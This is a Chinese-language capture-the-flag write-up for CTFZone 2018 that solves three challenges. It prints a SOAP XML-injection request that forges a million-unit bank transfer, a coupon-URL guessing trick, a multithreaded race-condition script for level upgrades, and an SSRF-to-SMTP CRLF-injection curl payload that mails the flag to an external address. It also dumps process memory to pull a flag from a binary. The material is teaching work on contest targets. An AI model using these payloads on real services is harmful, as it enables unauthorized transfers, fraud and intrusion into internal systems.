前言
CTFZone 2018 整体上还是学习到一些新姿势了的,就是可惜情不自禁的摸起了鱼 (lll¬ω¬)
Piggy-Bank
本题是 SOAP 相关的注入题,主要有以下 5 个页面:
- Profile - 个人信息页面,最关键的是上面的账号 ID 和账户余额
- Menu - 空白页面
- Transfer - 可以在账户间实现转账
- VIP - 只有当账户余额大于 1,000,000 才能访问,可以从中得到 flag
- For Developers - 该页面的注释提示我们可以访问隐藏的定义文件:
通过注释,访问 http://web-05.v7frkwrfyhsjtbpfcppnu.ctfz.one/api/bankservice.wsdl.php
可以得到对应 API 定义的 WSDL 文件
<?xml version="1.0" encoding="utf-8"?>
<wsdl:definitions name="Bank"
targetNamespace="urn:Bank"
xmlns:tns="urn:Bank"
xmlns:soap="http://schemas.xmlsoap.org/wsdl/soap/"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/"
xmlns:wsdl="http://schemas.xmlsoap.org/wsdl/"
xmlns="http://schemas.xmlsoap.org/wsdl/">
<message name="BalanceRequest">
<part name="wallet_num" type="xsd:decimal"/>
</message>
<message name="BalanceResponse">
<part name="code" type="xsd:float"/>
<part name="status" type="xsd:string"/>
</message>
<message name="internalTransferRequest">
<part name="receiver_wallet_num" type="xsd:decimal"/>
<part name="sender_wallet_num" type="xsd:decimal"/>
<part name="amount" type="xsd:float"/>
<part name="token" type="xsd:string"/>
</message>
<message name="internalTransferResponse">
<part name="code" type="xsd:float"/>
<part name="status" type="xsd:string"/>
</message>
<portType name="BankServicePort">
<operation name="requestBalance">
<input message="tns:BalanceRequest"/>
<output message="tns:BalanceResponse"/>
</operation>
<operation name="internalTransfer">
<input message="tns:internalTransferRequest"/>
<output message="tns:internalTransferResponse"/>
</operation>
</portType>
<binding name="BankServiceBinding" type="tns:BankServicePort">
<soap:binding style="rpc" transport="http://schemas.xmlsoap.org/soap/http"/>
<operation name="requestBalance">
<soap:operation soapAction="urn:requestBalanceAction"/>
<input>
<soap:body use="encoded" namespace="urn:Bank" encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"/>
</input>
<output>
<soap:body use="encoded" namespace="urn:Bank" encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"/>
</output>
</operation>
<operation name="internalTransfer">
<soap:operation soapAction="urn:internalTransferAction"/>
<input>
<soap:body use="encoded" namespace="urn:Bank" encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"/>
</input>
<output>
<soap:body use="encoded" namespace="urn:Bank" encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"/>
</output>
</operation>
</binding>
<wsdl:service name="BankService">
<wsdl:port name="BankServicePort" binding="tns:BankServiceBinding">
<soap:address location="http://web-05.v7frkwrfyhsjtbpfcppnu.ctfz.one/api/bankservice.php" />
</wsdl:port>
</wsdl:service>
</wsdl:definitions>
通过 burp 的 wsdler 插件,我们能很方便地使用该文件定义好的 Web 服务:
通过简单使用,我们能发现这两个 Web 服务的作用
requestBalance
获得对应 id 用户的余额
internalTransfer
Attack
那么现在我们攻击的思路就非常明确了:
- 通过遍历 id 的方式调用 requestBalance,获得余额超过百万用户的 id
- 通过调用 internalTransfer 的方式将其的余额转至我们的名下
- 从 VIP 页面获得 flag
通过 burp 的 intruder 模块进行遍历,我们能很轻易的获得所有账户的余额
然后下面就是希望直接通过转账的方式使我们的余额增加,但可以看到上面我们直接转账的尝试失败了,因为缺少了相应的 token,token 是由服务端生成的所以我们无法控制,这里也不存在一个泄露 token 的点,所以我们只能通过向服务端注入 xml 文件的方式进行攻击:
POST /home/transfer.php HTTP/1.1
Host: web-05.v7frkwrfyhsjtbpfcppnu.ctfz.one
Content-Length: 21
Cache-Control: max-age=0
Origin: http://web-05.v7frkwrfyhsjtbpfcppnu.ctfz.one
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://web-05.v7frkwrfyhsjtbpfcppnu.ctfz.one/home/transfer.php
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=
Connection: close
receiver=1624</receiver_wallet_num><amount>1000000</amount><sender_wallet_num>1337</sender_wallet_num><receiver_wallet_num>1624&amount=
此时服务端会接收到如下数据:
<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:urn="urn:Bank">
<soapenv:Header/>
<soapenv:Body>
<urn:internalTransfer soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<receiver_wallet_num xsi:type="xsd:decimal">1624</receiver_wallet_num>
<amount>1000000</amount>
<sender_wallet_num>1337</sender_wallet_num>
<receiver_wallet_num>1624</receiver_wallet_num>
<sender_wallet_num xsi:type="xsd:decimal">2746.00</sender_wallet_num>
<amount xsi:type="xsd:float">1.25</amount>
<token xsi:type="xsd:string">xxxx</token>
</urn:internalTransfer>
</soapenv:Body>
</soapenv:Envelope>
由于服务器只解析第一项作为相应参数,所以此时我们注入的 xml 条目将被解析,导致我们成功 hack 了转账流程,给自己增加了账户余额
MMORPG 3000
一个神奇的 RPG 游戏,你可以通过对战升级或者充钱两种方式变强
对战是不可能对战的,一辈子也不可能对战的,也就靠充钱这种方式才能变强了
但问题是每个新注册的玩家只能获得 1 元的优惠券,这是完全不够的,怎么办呢?
我们关注到优惠券的 url:http://web-03.v7frkwrfyhsjtbpfcppnu.ctfz.one/storage/img/coupon_69a5b5995110b36a9a347898d97a610e.png
中 69a5b5995110b36a9a347898d97a610e
类似某种数据的 md5 值,使用 cmd5 查询后可得 1129,而此时用户的 id 是 129,由此可以推测对应的优惠券生成规则是 md5('1'+id)
,所以我们尝试访问 id 为 1 用户对应的优惠券:
现在我们有着充足的金额,足够我们买到 100 级了,但在这里存在着一个极为尴尬的情况:
我们不能愉快的买买买了!!!
升级又不可能升级的,所以我们只能尝试是否能够突破现在的等级限制,其中的一个思路即条件竞争,当我们同时发出升级的请求时,系统的处理不当,所以可能存在着这样一种特殊的场景:此时我们是 29 级,服务端先后接到了两个升级的请求,由于这两个请求到达时用户尚在 29 级,所以升级条件成立,此时用户成功升级到 31 级。基于这种思路,我们可以编写多线程的条件竞争脚本:
import requests
import threading
url = "http://web-03.v7frkwrfyhsjtbpfcppnu.ctfz.one/donate/lvlup"
session = "eyJ1aWQiOjEyOX0.DjjTig.8gYI8wcramg-dCXFSIlKjF_P61g"
max = 100
def levlup(session):
requests.get(url, cookies={"session": session})
def race():
for i in range(max):
t = threading.Thread(target=levlup, args=(session,))
t.start()
def main():
race()
if __name__ == '__main__':
main()
此时我们成功升级到 35 级:
此时我们发现我们多了一个上传头像的功能:
此时推测这里存在着一个 SSRF 的漏洞(非常合理,笑
但直接访问 127.0.0.1 或是 localhost 是会被拒绝的,但我们可以访问 0.0.0.0 呀,这里就可以开始扫描一波端口了
扫完发现端口 25 是打开的状态,该端口对应的是 SMTP 协议,这里可以尝试 HTTP Header Inject
简单说即让通过构造命令的方式让服务器向我们发送相应邮件,这里直接附上相应的 payload:
curl 'web-03.v7frkwrfyhsjtbpfcppnu.ctfz.one/user/avatar' -H 'Cookie: session=eyJ1aWQiOjEyOX0.DjmXSw.pNA7u3H_ZtcQpSHIdN4nWCUfi3o' --data 'url=https://0.0.0.0%0d%0aMAIL FROM: <A@B.C>%0aRCPT TO: <youremail@server.com>%0aDATA%0aFROM: AAA@B.C%0aTO: youremail@server.com%0aSUBJECT: FLAG%0d%0a.%0d%0a%0aQUIT%0a:25&action=save'
上述思路就不知道大佬是怎么思考出来的了,真好奇.jpg
Validator3000
一道 window 相关的逆向题,解题流程如下:
- 运行
Validator3000.exe
程序 - 点击
Check Flag
button - 打开任务管理器,选择该程序,右键 => 创建转储文件
- 用二进制编辑器打开创建好的转储文件,一般而言该文件位于
C:\Users\xxx\AppData\Local\Temp\Validator3000.DMP
- 在二进制编辑器中,搜索
ctfzone{
字段,记得使用 Unicode 编码 - 即可搜得 flag:
ctfzone{R3Flec7i0n}
挺有意思的一道题目(笑